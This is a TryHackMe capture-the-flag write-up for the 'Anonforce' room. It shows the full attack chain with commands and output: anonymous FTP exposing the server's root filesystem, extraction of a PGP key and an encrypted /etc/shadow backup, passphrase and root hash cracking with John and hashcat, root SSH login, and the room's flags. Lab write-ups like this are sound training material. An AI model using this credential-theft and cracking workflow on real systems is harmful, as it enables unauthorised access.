Anonforce — TryHackMe

Platform: TryHackMe · Difficulty: Easy · Category: Anonymous FTP / PGP Decryption / Hash Cracking

Introduction

Anonforce skips the entire "web application with subtle vulnerabilities" phase and goes straight to "here is the entire filesystem, help yourself." Anonymous FTP doesn't just expose a note or a key this time — it exposes everything: /etc, /home, /root, the whole hierarchy, readable and navigable like any other directory. The only thing standing between anonymous and root credentials is a GPG passphrase that John cracks in seconds. This is less a penetration test and more a guided tour. The door is labelled FTP and it was left wide open.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.49.164.9 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV

No HTTP port, confirmed by a Feroxbuster attempt that immediately failed to connect. This is a two-service box and the entire story begins and ends with FTP.

Nmap's ftp-anon script does something unusual here — it doesn't just flag anonymous login as allowed, it lists out the root directory of the FTP share:

| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread  [NSE: writeable]
| drwx------    3 0        0            4096 Aug 11  2019 root

That's not a subdirectory of FTP storage — that's /bin, /boot, /etc, /home, the server's actual root filesystem, mounted as the FTP root. The notread directory stands out immediately: world-readable and world-writable, owned by uid 1000. root is listed too, though drwx------ suggests ftp probably can't actually read into it. One thing at a time.

Foothold

Connecting with anonymous login:

ftp 10.49.164.9
# Name: anonymous
# Password: (blank)
# 230 Login successful.

The FTP root is the server's /:

ftp> ls
# bin  boot  dev  etc  home  lib  notread  opt  root  tmp  usr  var ...

This is about as severe as FTP misconfiguration gets. When the service is chrooted to the server's actual filesystem root instead of a dedicated, restricted directory, every file the FTP service user can read becomes accessible to any anonymous visitor — the difference between leaving a note on the doorstep and leaving the front door open with a map to the safe inside.

Navigating straight to melodias's home directory:

ftp> cd /home/melodias
ftp> ls
# -rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt
ftp> get user.txt

cat user.txt

606083fd33beb1284fc51f411a706af8

User flag collected without touching SSH at all. No credentials, no shell, no escalation required — just FTP navigation.

Then the directory Nmap had already flagged:

ftp> cd /notread
ftp> ls
# -rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp
# -rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc
ftp> mget backup.pgp private.asc

Two files. backup.pgp is a PGP-encrypted archive; private.asc is an ASCII-armoured PGP private key. The pairing is obvious — the private key decrypts the backup. The slightly surreal part is both are sitting in the same directory, world-readable, permissions rwxrwxrwx. Whoever set this up was not thinking much about defence in depth.

PGP uses an asymmetric key pair — public to encrypt, private to decrypt — and the private key itself is protected by a passphrase. Even with the key file in hand, you still need that passphrase. gpg2john extracts the passphrase hash from the key file in a format John the Ripper understands:

gpg --import private.asc
gpg2john private.asc > hash.txt

John silently returned nothing on the first run — the hash was already sitting in the potfile from a prior session (the same gotcha I'd already hit once on Mustacchio). Checking the potfile directly:

john hash.txt --show

anonforce:xbox360:::anonforce <[email protected]>::private.asc

1 password hash cracked, 0 left

PGP passphrase: xbox360. The key identity anonforce <[email protected]> is a nice bit of box flavour — the .nsa domain is doing a lot of thematic work.

Decrypting the backup with the now-usable key:

gpg --decrypt backup.pgp

gpg: encrypted with elg512 key, ID AA6268D1E6612967
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences

# decrypted output (relevant entries)
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::

backup.pgp turns out to be a backup of /etc/shadow, now fully decrypted. Root's hash format is $6$ — sha512crypt. The CAST5 warning is harmless, just a cipher-preference mismatch advisory between the key and the algorithm actually used on the file.

Shell / Access

$6$ means sha512crypt, which is Hashcat mode 1800 — a slow, properly iterated hash, 5000 rounds by default. Hashcat's own estimate was 7+ hours at ~514 H/s on CPU, but the password showed up in rockyou.txt early enough to crack in 12 seconds flat.

echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > root_hash.txt
hashcat -m 1800 -a 0 root_hash.txt /usr/share/wordlists/rockyou.txt

$6$07nYFaYf$...:hikari

Status: Cracked
Progress: 6720/14344385 (0.05%)
Time: 12 seconds

Root password: hikari. Only 6720 candidates into the wordlist — for a box whose entire premise is "here's root's shadow hash," that's an appropriately swift ending.

ssh [email protected]
# Password: hikari

root@ubuntu:~# cat root.txt
f706456440c7af4187810c31c6cebdce

Exploitation — The Full Chain

1. Anonymous FTP with filesystem root exposed → navigated directly to /home/melodias/user.txt → user flag
2. /notread/ contained backup.pgp (encrypted shadow) + private.asc (PGP private key)
3. gpg2john + John cracked PGP passphrase → xbox360
4. gpg --decrypt backup.pgp → plaintext /etc/shadow backup with root's sha512crypt hash
5. Hashcat mode 1800 cracked root hash → hikari
6. SSH as root → root flag

Rabbit Holes

John the Ripper going silent. john --wordlist=rockyou.txt hash.txt returned "No password hashes left to crack" on both attempts, which for about thirty seconds reads like failure. It wasn't — the hash had already been cracked and was sitting in John's potfile from a prior run (or the key had been imported before). john hash.txt --show gave the answer immediately. Same gotcha as Mustacchio: John's silence means "check --show," never "uncrackable."

melodias's hash ($1$). The decrypted shadow backup also contains melodias's hash, $1$ — MD5crypt, Hashcat mode 500, weaker than root's $6$ and theoretically crackable too. There was no need to bother: the root path was already open, and SSH as root bypasses any reason to touch the user account. Noted for completeness and left alone.

Flags

Mitigations

Key Takeaway

Anonymous FTP is almost never appropriate for production systems, but it's especially catastrophic when the FTP root is the server's filesystem root. That combination turns an unauthenticated network service into a complete read-access backdoor to every world-readable file on the machine. Always scope FTP shares to the minimum necessary directory — never /.

Room: TryHackMe — Anonforce